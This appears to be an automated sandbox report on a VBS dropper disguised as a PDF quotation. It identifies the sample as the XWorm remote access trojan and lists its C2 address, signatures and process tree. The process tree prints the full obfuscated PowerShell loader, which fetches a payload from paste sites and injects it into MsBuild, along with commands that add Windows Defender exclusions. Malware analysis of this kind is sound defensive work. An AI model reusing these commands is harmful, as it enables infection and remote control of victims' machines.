Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    02/03/2026, 14:50

General

  • Target
    Desc_Qtn_350_02_02_pdf.vbs
  • Size 16KB
  • Sample260302-r7wyzset2e
  • SHA256 42a244583d3a49d5f9dc00ecd99e2d4d2951938faeda0b4baf879f19d82e5525
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • xworm

Version
  • 5.0

C2
  • 94.154.32.18:8383

  • :8383

Mutex
  • O4QGDSoGEFud3w5w

Attributes
  • install_file

    USB.exe

aes.plain

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Xworm family
  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Desc_Qtn_350_02_02_pdf.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5196
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$dhfghfggfhdssigo ='WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKAAoAZgB1AG4AYwB0AGkAbwBuACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAewAKACAAIAAgACAAcABhAHIAYQBtACAAKABbAHMAdAByAGkAbgBnAFsAXQBdACQAdQByAGwAcwApAAoAIAAgACAAIAAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQACgAgACAAIAAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAdABPAGIAagBlAGMAdAAgACQAdQByAGwAcwAgAC0AQwBvAHUAbgB0ACAAJAB1AHIAbABzAC4ATABlAG4AZwB0AGgACgAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAdQAgAGkAbgAgACQAcgBhAG4AZABvAG0ATwByAGQAZQByACkAIAB7AAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgAHIAZQB0AHUAcgBuACAAJABjAGwAaQBlAG4AdAAuAEQAbwB3AG4AbABvAGEAZABEAGEAdABhACgAJAB1ACkAIAB9ACAAYwBhAHQAYwBoACAAewAgAGMAbwBuAHQAaQBuAHUAZQAgAH0ACgAgACAAIAAgAH0ACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJABuAHUAbABsAAoAk@QAKACQAcwBjAGgAZQBtAGUAMQAgAD0AIAAnAGgAdAB0AHAAJwAKACQAcwBjAGgAZQBtAGUAMgAgAD0AIAAnAHMAOgAvAC8AJwAKACQAYgBhAHMAZQBVAHIAbAAgAD0AIAAkAHMAYwBoAGUAbQBlADEAIAArACAAJABzAGMAaABlAG0AZQAyAAoACgAkAHQAYQByAGcAZQB0AFUAcgBsAHMAIAA9ACAAQAAoAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAHAAYQBzAHQAZQBmAHkALgBhAHAAcAAvAHMATABDADcASgBwAGsAcAAvAHIAYQB3ACcAKQAsAAoAIAAgACAAIAAoACQAYgBhAHMAZQBVAHIAbAAgACsAIAAnAHkAYQBzAG8ALgBzAHUALwByAGEAdwAvAE4ATgBMAHcARQB3AEMAVQAnACkACgApAAoACgAkAHIAYQB3AEQAYQB0AGEAIAA9ACAARwBlAHQALQBSAGUAbQBvAHQAZQBEAGEAdABhACAAJAB0AGEAcgBnAGUAdABVAHIAbABzAAoAaQBmACAAKAAkAHIAYQB3AEQAYQB0AGEAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAKACAAIAAgACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAByAGEAdwBEAGEAdABhACkACgAgACAAIAAgACQAcwB0AGEAcgB0AFQAYQBnACAAPQAgACcAPAA8AEIAJwAgACsAIAAnAEEAUwBFADYANAAnACAAKwAgACcAXwBTAFQAQQBSAFQAPgA+ACcACgAgACAAIAAgACQAZQBuAGQAVABhAGcAIAAgACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcACgAKACAAIAAgACAAJABzAHQAYQByAHQAUABvAHMAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBJAG4AZABlAHgATwBmACgAJABzAHQAYQByAHQAVABhAGcAKQAKACAAIAAgACAAJABlAG4AZABQAG8AcwAgACAAIAA9ACAAJAB0AGUAeAB0AEMAbwBuAHQAZQBuAHQALgBJAG4AZABlAHgATwBmACgAJABlAG4AZABUAGEAZwApAAoACgAgACAAIAAgAGkAZgAgACgAJABzAHQAYQByAHQAUABvAHMAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABQAG8AcwAgAC0AZwB0ACAAJABzAHQAYQByAHQAUABvAHMAKQAgAHsACgAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQAUABvAHMAIAArAD0AIAAkAHMAdABhAHIAdABUAGEAZwAuAEwAZQBuAGcAdABoAAoAIAAgACAAIAAgACAAIAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACAAJABlAG4AZABQAG8AcwAgAC0AIAAkAHMAdABhAHIAdABQAG8AcwAKACAAIAAgACAAIAAgACAAIAAkAGIAYQBzAGUANgA0AEMAaAB1AG4AawAgAD0AIAAkAHQAZQB4AHQAQwBvAG4AdABlAG4AdAAuAFMAdQBiAHMAdAByAGkAbgBnACgAJABzAHQAYQByAHQAUABvAHMALAAgACQAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAKQAKAAoAIAAgACAAIAAgACAAIAAgACQAYQBzAHMAZQBtAGIAbAB5AEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAGEAcwBlADYANABDAGgAdQBuAGsAKQAKACAAIAAgACAAIAAgACAAIAAkAGwAbwBhAGQAZQBkAEEAcwBtACAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGEAcwBzAGUAbQBiAGwAeQBCAHkAdABlAHMAKQAKAAoAIAAgACAAIAAgACAAIAAgACQAdABhAHIAZwBlAHQAVAB5AHAAZQAgAD0AIAAkAGwAbwBhAGQAZQBkAEEAcwBtAC4ARwBlAHQAVAB5AHAAZQAoACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACkACgAgACAAIAAgACAAIAAgACAAJABsAG4AawAgAD0AIAAgACcAdAB4AHQALgApADEAKAAwADIAJQBkAGEAbwBsAHAAdQAzADgAMwA4AC0AZQBsAGkAZgAtAHcAYQBSAC8AdQBlAC4AdABpAGIAYgB1AGMALgAzAHMALgBlAGUAcgBoAHQALwAvADoAcwAnAAoAIAAgACAAIAAgACAAIAAgACQAaQBuAGoAVgBhAGwAdQBlACAAPQAgACcATQBzAEIAdQBpAGwAZAAnAAoAIAAgACAAIAAgACAAIAAgACQAcwB0AHIAIAA9ACAAJwAwACcACgAgACAAIAAgACAAIAAgACAACgAgACAAIAAgACAAIAAgACAAJAB0AGEAcgBnAGUAdABUAHkAcABlAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAHIAdQBuACcAIAArACAAJwBzAHMAJwApAC4ASQBuAHYAbwBrAGUAKAAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQAbgB1AGwAbAAsAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJABsAG4AawAgACAALAAgACQAcwB0AHIALAAgACcAMQBiAGIAcgAnACwAIAAkAGkAbgBqAFYAYQBsAHUAZQAsACAAJwAwACcALAAgACcAeAA4ADYAJwApAAoAIAAgACAAIAAgACAAIAAgACkACgAgACAAIAAgAH0ACgB9AA==';$oWdfjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $dhfghfggfhdssigo.replace('k@','f') ));iex $oWdfjuxd
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5692
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: AddClipboardFormatListener
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5016
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\MsBuild.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5812
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'MsBuild.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:6004

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 9600b3fdf0565ccb49e21656aa4b24d7c18f776bfd04d9ee984b134707550f02
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 1KB
        • SHA256 cca996ce3a1fb9cc44bcacc9002798fc66eab27146004d38e65ef98539510f66
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 18KB
        • SHA256 7e615b67a480e1c2c43c819ffe4d3d379c2daec320212c7cc6acbcdc17e4cb5e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        __PSScriptPolicyTest_4s0xbpg3.eii.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4s0xbpg3.eii.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/5016-81-0x0000000001620000-0x000000000169B000-memory.dmp

        memory/5016-78-0x00000000069D0000-0x0000000006F76000-memory.dmp

        memory/5016-12-0x0000000000010000-0x0000000000020000-memory.dmp

        memory/5016-79-0x0000000006530000-0x00000000065C2000-memory.dmp

        memory/5016-80-0x00000000065D0000-0x00000000065DA000-memory.dmp

        memory/5016-82-0x00000000055F0000-0x000000000573D000-memory.dmp

        memory/5016-18-0x00000000057E0000-0x000000000587C000-memory.dmp

        memory/5196-0-0x000001939D450000-0x000001939D45C000-memory.dmp

        memory/5692-10-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp

        memory/5692-17-0x0000018EE5310000-0x0000018EE537F000-memory.dmp

        memory/5692-16-0x0000018ECB440000-0x0000018ECB452000-memory.dmp

        memory/5692-15-0x0000018ECB3E0000-0x0000018ECB3EC000-memory.dmp

        memory/5692-11-0x0000018EE55A0000-0x0000018EE55B0000-memory.dmp

        memory/5692-9-0x0000018EE52E0000-0x0000018EE5302000-memory.dmp

        memory/5692-2-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp

        memory/5692-1-0x0000018EE52D0000-0x0000018EE52E0000-memory.dmp

        memory/5812-43-0x0000000007390000-0x0000000007434000-memory.dmp

        memory/5812-56-0x0000000004C60000-0x0000000004CEA000-memory.dmp

        memory/5812-42-0x0000000006770000-0x000000000678E000-memory.dmp

        memory/5812-35-0x000000006FB60000-0x000000006FBAC000-memory.dmp

        memory/5812-33-0x00000000061B0000-0x00000000061FC000-memory.dmp

        memory/5812-45-0x00000000074E0000-0x00000000074FA000-memory.dmp

        memory/5812-44-0x0000000007B20000-0x000000000819A000-memory.dmp

        memory/5812-46-0x0000000007550000-0x000000000755A000-memory.dmp

        memory/5812-47-0x0000000007780000-0x0000000007816000-memory.dmp

        memory/5812-48-0x00000000076F0000-0x0000000007701000-memory.dmp

        memory/5812-49-0x0000000007720000-0x000000000772E000-memory.dmp

        memory/5812-50-0x0000000007730000-0x0000000007745000-memory.dmp

        memory/5812-51-0x0000000007840000-0x000000000785A000-memory.dmp

        memory/5812-52-0x0000000007820000-0x0000000007828000-memory.dmp

        memory/5812-32-0x0000000006170000-0x000000000618E000-memory.dmp

        memory/5812-34-0x0000000007150000-0x0000000007184000-memory.dmp

        memory/5812-57-0x0000000007440000-0x0000000007447000-memory.dmp

        memory/5812-55-0x0000000004BE0000-0x0000000004BF9000-memory.dmp

        memory/5812-19-0x0000000004C20000-0x0000000004C56000-memory.dmp

        memory/5812-30-0x0000000005C90000-0x0000000005FE7000-memory.dmp

        memory/5812-20-0x0000000005350000-0x000000000597A000-memory.dmp

        memory/5812-21-0x00000000052E0000-0x0000000005302000-memory.dmp

        memory/5812-22-0x0000000005BB0000-0x0000000005C16000-memory.dmp

        memory/5812-23-0x0000000005C20000-0x0000000005C86000-memory.dmp

        memory/6004-77-0x0000000007640000-0x0000000007647000-memory.dmp

        memory/6004-76-0x0000000002B20000-0x0000000002BAA000-memory.dmp

        memory/6004-75-0x0000000002AA0000-0x0000000002AB9000-memory.dmp

        memory/6004-67-0x000000006FB60000-0x000000006FBAC000-memory.dmp

        memory/6004-65-0x0000000005EB0000-0x0000000006207000-memory.dmp